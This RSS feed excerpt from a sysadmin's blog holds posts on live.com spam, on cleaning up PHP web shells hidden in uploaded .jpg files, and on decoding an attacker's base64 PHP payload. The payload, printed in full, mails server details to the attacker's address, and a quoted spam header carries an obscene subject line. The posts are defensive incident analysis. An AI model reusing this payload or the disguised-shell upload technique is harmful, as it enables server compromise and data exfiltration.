<p>0xED &#8211; <a href="http://www.suavetech.com/0xed/0xed.html">http://www.suavetech.com/0xed/0xed.html</a><br />
A nice fast and compact hex viewer for OSX.</p>
<p>strings &#8211; built into most *nix based systems.</p>
<p>Grey matter &#8211; Available to all, unused by many <img src='http://www.computersolutions.cn/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Now hopefully I can get back to the Webcam firmware stuff as I&#8217;ve been promising to do.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.computersolutions.cn/blog/2010/08/firmware-hackery-on-keychain-spycams-ak36xx-based/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Spam from Live.com</title>
		<link>http://www.computersolutions.cn/blog/2009/04/spam-from-livecom/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=spam-from-livecom</link>
		<comments>http://www.computersolutions.cn/blog/2009/04/spam-from-livecom/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 10:54:43 +0000</pubDate>
		<dc:creator>Lawrence Sheed</dc:creator>
				<category><![CDATA[Email]]></category>
		<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Technical Mumbo Jumbo]]></category>
		<category><![CDATA[botnet]]></category>
		<category><![CDATA[live]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://www.computersolutions.cn/blog/?p=220</guid>
		<description><![CDATA[We&#8217;re seeing a huge recurrence of spam thats been getting through our spam filters., all coming from @live.com addresses. I hadn&#8217;t seen any personally until one of our clients brought up the fact that she was receiving 20-30 sex related spam a day, all coming from Random name @live.com addresses. A check of the logs [...]]]></description>
			<content:encoded><![CDATA[<p>We&#8217;re seeing a huge recurrence of spam thats been getting through our spam filters., all coming from @live.com addresses.<br />
I hadn&#8217;t seen any personally until one of our clients brought up the fact that she was receiving 20-30 sex related spam a day, all coming from Random name @live.com addresses.</p>
<p>A check of the logs showed that we&#8217;ve received at least 100,000 of these spam mails over the last month that have gotten through to our users.<br />
This is something I&#8217;d obviously like to remedy.  Not receiving, processing, or storing that much spam free&#8217;s up the servers for other things.</p>
<p>As the number of valid addresses using @live.com accounts appears to be minimal (I could only see a handful of legitimate users sending from that domain), I have taken the decision to block any email from the @live.com domain until Microsoft can resolve their spam issues.</p>
<p>If you do have clients using @live.com addresses, you will be able to send email to them, but not receive from them.<br />
We apologize for the inconvenience, but unfortunately there is no other solution that easily mitigates the issue, other than completely blocking them.</p>
<p>For a more technical explanation of whats happening, read below:<br />
<span id="more-220"></span><br />
This is a header from a sample spam email from a live.com address.<br />
As you can see below, the header shows that it passes an SPF check &#8211; meaning that the sending email server was verified to be a microsoft one.<br />
That means that the sender also passes our greylist and SPF checks, as Hotmail is a valid sender (for most of the time!).</p>
<blockquote><p>Return-Path: &lt;lourdesuxanbirr1980@live.com&gt;<br />
Delivered-To: XXXX<br />
Received: (qmail 3070 invoked from network); 20 Apr 2009 11:53:37 +0800<br />
DomainKey-Status: no signature<br />
Received: from blu0-omc2-s16.blu0.hotmail.com (65.55.111.91)<br />
by mail.computersolutions.cn with SMTP; 20 Apr 2009 11:53:37 +0800<br />
Received-SPF: pass (mail.computersolutions.cn: SPF record at spf-a.hotmail.com designates 65.55.111.91 as permitted sender)<br />
Received: from BLU128-W5 ([65.55.111.72]) by blu0-omc2-s16.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.3959);<br />
Sun, 19 Apr 2009 20:54:11 -0700<br />
Message-ID: &lt;BLU128-W51B2E2DECCF46C5980E74DC760@phx.gbl&gt;<br />
Return-Path: lourdesuxanbirr1980@live.com<br />
X-Originating-IP: [201.150.66.6]<br />
From: Lourdes Browne &lt;Lourdesuxanbirr1980@live.com&gt;<br />
Sender: &lt;lourdesuxanbirr1980@live.com&gt;<br />
To: XXXXX<br />
Subject: Hi! This is Muriel. Young girls in action with animals.<br />
Date: Mon, 20 Apr 2009 03:54:11 +0000<br />
Importance: Normal<br />
Content-Type: text/plain; charset=&#8221;iso-8859-1&#8243;<br />
Content-Transfer-Encoding: quoted-printable<br />
MIME-Version: 1.0<br />
X-OriginalArrivalTime: 20 Apr 2009 03:54:11.0766 (UTC) FILETIME=[AA2F5560:01C9C16B]</p></blockquote>
<p>As the sender is a legitimate hotmail / live account &#8220;lourdesuxanbirr1980@live.com&#8221; (albeit a garbage generated name), its probable that the sender is generated from a script.</p>
<p>A check on google reveals that the live.com captcha system has been cracked, and is being abused by botnets to send spam.</p>
<p><a href="http://arstechnica.com/security/news/2008/04/gone-in-60-seconds-spambot-cracks-livehotmail-captcha.ars">http://arstechnica.com/security/news/2008/04/gone-in-60-seconds-spambot-cracks-livehotmail-captcha.ars</a></p>
<p>This probably explains the sudden flood of spam coming from @live.com addresses, although its a bit strange that we didn&#8217;t see this sooner!<br />
Hopefully they&#8217;ll resolve it soon, so we can unblock them.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.computersolutions.cn/blog/2009/04/spam-from-livecom/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Random Sysadmin intrusion stuff and PECL</title>
		<link>http://www.computersolutions.cn/blog/2009/04/random-sysadmin-intrusion-stuff-and-pecl/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=random-sysadmin-intrusion-stuff-and-pecl</link>
		<comments>http://www.computersolutions.cn/blog/2009/04/random-sysadmin-intrusion-stuff-and-pecl/#comments</comments>
		<pubDate>Sat, 11 Apr 2009 05:36:46 +0000</pubDate>
		<dc:creator>Lawrence Sheed</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Technical Mumbo Jumbo]]></category>
		<category><![CDATA[shell scripts]]></category>
		<category><![CDATA[suhosin]]></category>

		<guid isPermaLink="false">http://www.computersolutions.cn/blog/?p=177</guid>
		<description><![CDATA[One of our clients was sending out spam unknowingly yesterday. I spent most of my afternoon cleaning it up, tracking down how the attackers were doing it. In this clients case, they have their own server (which we maintain), and they mostly write their own code. Most of the common garden variety vulnerability scans don&#8217;t [...]]]></description>
			<content:encoded><![CDATA[<p>One of our clients was sending out spam unknowingly yesterday.  I spent most of my afternoon cleaning it up,  tracking down how the attackers were doing it.</p>
<p>In this clients case, they have their own server (which we maintain), and they mostly write their own code.<br />
Most of the common garden variety vulnerability scans don&#8217;t work on their server, because they write their own code, although in this case it didn&#8217;t save them from being exploited.</p>
<p>In order to find out what was causing the spamming, I had to find out how the attackers got in.<br />
Usually this means a check of the apache logs to check for anything untoward.</p>
<p>In this case, although the logs had plenty of vulnerability scans (which were to files that don&#8217;t exist on their server), I couldn&#8217;t see anything in the logs that immediately stuck out as being the cause.<br />
<span id="more-177"></span><br />
Thinking that they might be sneaky, I decided to check if any files on the server had anything interesting in them.  PHP has a few functions that are a little dangerous, most of these are system related &#8211; you can execute other software on the system using them.  </p>
<p>As pretty much all the code on this server is php based, I went a little deeper, and did a filesystem scan of some common php system calls to see if anything popped out.</p>
<p>In unix, this is pretty easy</p>
<p><code>grep shell_exec * -R</code></p>
<p>A few seconds later, this popped up as a result.</p>
<p><code>/userpix/1216256595.jpg</code></p>
<p>Hmm, a jpg file containing shell_exec?<br />
Seems strange.</p>
<p>A quick check of the file in a text editor showed that it was actually a shell script that contained the c99shell.<br />
I soon found another script in that folder with a .jpg extension that contained the r57shell.</p>
<p>Both these scripts allowed for remote pseudo shell access to the server, as well as attempts to further hack the server using common vulnerabilities.   They are both quite comprehensive in what they do, and are worthy of further dissection at a later date.</p>
<p>I removed the 2 files (after making copies for further analysis), and let the client know.<br />
A check of the logs revealed that calls were indeed being made to those files.</p>
<p>Sneaky!</p>
<p>Turns out that the client was using a common upload library, and it appears that this had an upload  vulnerability.<br />
I advised them to do better error checking, update that library, and installed some additional features for them in their server.</p>
<p>PHP has an extension called FileInfo, which can check files to see if they&#8217;re actually what they say they are.<br />
Its not perfect, but it does add a degree of safety for situations like this where things get abused.</p>
<p>Even so, you still need to avoid using FileInfo for checking gif files, as it pretty much assumes any file starting in GIF is a gif.  </p>
<p>Sample code to safely check for gif below.</p>
<p><code>if (!$img = @imagecreatefromgif($uploadedfilename)) {<br />
  trigger_error('Not a GIF image!',E_USER_WARNING);<br />
  // do necessary stuff<br />
}</code></p>
<p>Back to FileInfo.  The typical way to install Pear extensions is </p>
<p><code>pecl install <NAME></code></p>
<p>In this case  &#8220;pecl install FileInfo&#8221; wasn&#8217;t working, because we set /tmp as non executable for safety reasons.</p>
<p><code><br />
pecl install Fileinfo<br />
3 source files, building<br />
running: phpize<br />
Configuring for:<br />
PHP Api Version:         20041225<br />
Zend Module Api No:      20060613<br />
Zend Extension Api No:   220060519<br />
/usr/bin/phpize: /tmp/pear/cache/Fileinfo-1.0.4/build/shtool: /bin/sh: bad interpreter: Permission denied<br />
Cannot find autoconf. Please check your autoconf installation and the $PHP_AUTOCONF<br />
environment variable is set correctly and then rerun this script.</p>
<p>ERROR: `phpize' failed</code></p>
<p>So, we had to install it manually, sigh.</p>
<p>Manual installation of pecl files is simple, although undocumented.</p>
<p>Go to the download folder:<br />
<code>cd /tmp/pear/cache/</code></p>
<p>Move the file to a different folder with execute permissions<br />
<code>cp Fileinfo-1.0.4.tgz /downloads<br />
cd /downloads</code></p>
<p>Extract, and install</p>
<p><code>tar -zxf Fileinfo-1.0.4.tgz<br />
cd Fileinfo-1.0.4<br />
phpize<br />
./configure<br />
make<br />
make install</code></p>
<p>We also had to add extension=fileinfo.so to our /etc/php5/apache2/php.ini file.</p>
<p>Conclusions for us &#8211; </p>
<p>Luckily,  they didn&#8217;t manage to do any damage except for send mass email.<br />
Tripwire and Tiger (two IDS programs we use) showed that none of the system files on their server were compromised.  </p>
<p>We&#8217;re planning to further tighten their system with a PHP Hardener called Suhosin, although this depends on their scripts being compatible.  We&#8217;re currently trialing a Suhosin install with logging enabled to see what may break when its fully enabled.</p>
<p>We use Suhosin on a most of our servers already.<br />
Ironically we had been talking about it with that client when they got hacked!  </p>
]]></content:encoded>
			<wfw:commentRss>http://www.computersolutions.cn/blog/2009/04/random-sysadmin-intrusion-stuff-and-pecl/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Some remote exploit analysis</title>
		<link>http://www.computersolutions.cn/blog/2009/04/some-remote-exploit-analysis/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=some-remote-exploit-analysis</link>
		<comments>http://www.computersolutions.cn/blog/2009/04/some-remote-exploit-analysis/#comments</comments>
		<pubDate>Sat, 11 Apr 2009 02:52:34 +0000</pubDate>
		<dc:creator>Lawrence Sheed</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Technical Mumbo Jumbo]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[remote inclusion]]></category>

		<guid isPermaLink="false">http://www.computersolutions.cn/blog/?p=173</guid>
		<description><![CDATA[Foreword - Note that none of our servers are vulnerable to remote inclusion attacks. For the most part, most of the exploits I covered in yesterdays post are common garden php vulnerability scans. Some of them are more interesting though, although more for being encrypted, than anything else. If I take an example from our [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Foreword -</strong> <em>Note that none of our servers are vulnerable to remote inclusion attacks.</em></p>
<p>For the most part, most of the exploits I covered in yesterdays post are common garden php vulnerability scans.<br />
Some of them are more interesting though, although more for being encrypted, than anything else.</p>
<p>If I take an example from our log files:<br />
<span id="more-173"></span></p>
<p>http://www.easy-dizzy.de/joomla/administrator/includes/js/ThemeOffice/copyright.txt</p>
<p>This returns an encrypted string.<br />
Its fairly easy to see whats been returned in that, merely by changing the eval to an echo.</p>
<pre class="wp-code-highlight prettyprint">
//Edited slightly for width purposes
$lmge = &quot;JGNyZWF0b3I9YmFzZTY0X2RlY29kZSgiWm5Jek0zTm9NMnhzUUdkdFlXb&quot;.
&quot;HNMbU52YlE9PSIpOw0KKCRzYWZlX21vZGUpPygkc2FmZXo9&quot;.
&quot;Ik9OIik6KCRzYWZlej0iT0ZGX0hFSEUiKTsNCiRiYXNlPSJodHRw&quot;.
&quot;Oi8vIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJF9TRVJWRVJbJ1JFU&quot;.
&quot;VVFU1RfVVJJJ107IA0KJG5hbWUgPSBwaHBfdW5hbWUoKTsgJGl&quot;.
&quot;wID0gZ2V0ZW52KCJSRU1PVEVfQUREUiIpOyAkaXAyID0gZ2V0&quot;.
&quot;aG9zdGJ5YWRkcigkX1NFUlZFUltSRU1PVEVfQUREUl0pOyAkc3V&quot;.
&quot;iaiA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsgDQokbXNnID0gIl&quot;.
&quot;xuQkFTRTogJGJhc2VcbnVuYW1lIGE6ICRuYW1lXG5CeXBhc3M6&quot;.
&quot;ICRieXBhc3NlclxuSVA6ICRpcFxuSG9zdDogJGlwMiAkcHdkcyI7D&quot;.
&quot;QokZnJvbSA9IkZyb206ICIuJHdyaXQuIl9fXz0iLiRzYWZlei4iPHRv&quot;.
&quot;b2xAIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIj4iOw0KbWFpbCgg&quot;.
&quot;JGNyZWF0b3IsICRzdWJqLCAkbXNnLCAkZn JvbSk7&quot;; 

//eval(base64_decode($lmge));

//To stop execution, and merely see the script contents we echo it, instead of eval..
echo (base64_decode($lmge));
exit;
</pre>
<p>This returns this:</p>
<pre class="wp-code-highlight prettyprint">
$creator=base64_decode(&quot;ZnIzM3NoM2xsQGdtYWlsLmNvbQ==&quot;); 

($safe_mode)?($safez=&quot;ON&quot;):($safez=&quot;OFF_HEHE&quot;);
$base=&quot;http://&quot;.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$name = php_uname(); $ip = getenv(&quot;REMOTE_ADDR&quot;); $ip2 = gethostbyaddr($_SERVER[REMOTE_ADDR]); $subj = $_SERVER['HTTP_HOST'];
$msg = &quot;\nBASE: $base\nuname a: $name\nBypass: $bypasser\nIP: $ip\nHost: $ip2 $pwds&quot;;
$from =&quot;From: &quot;.$writ.&quot;___=&quot;.$safez.&quot;&lt;tool@&quot;.$_SERVER['HTTP_HOST'].&quot;&gt;&quot;;
mail( $creator, $subj, $msg, $from);
</pre>
<p>So in this case we can see the attacker wants us to email him our server details, what url worked for the exploit, and a few various php details.</p>
<p>If we look at the email account he wants to email to we can see its a google account.</p>
<pre class="wp-code-highlight prettyprint">
echo base64_decode(&quot;ZnIzM3NoM2xsQGdtYWlsLmNvbQ==&quot;);   //returns fr33sh3ll@gmail.com
</pre>
<p>Google has been notified about that account.<br />
All in all, slightly more interesting than the usual!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.computersolutions.cn/blog/2009/04/some-remote-exploit-analysis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

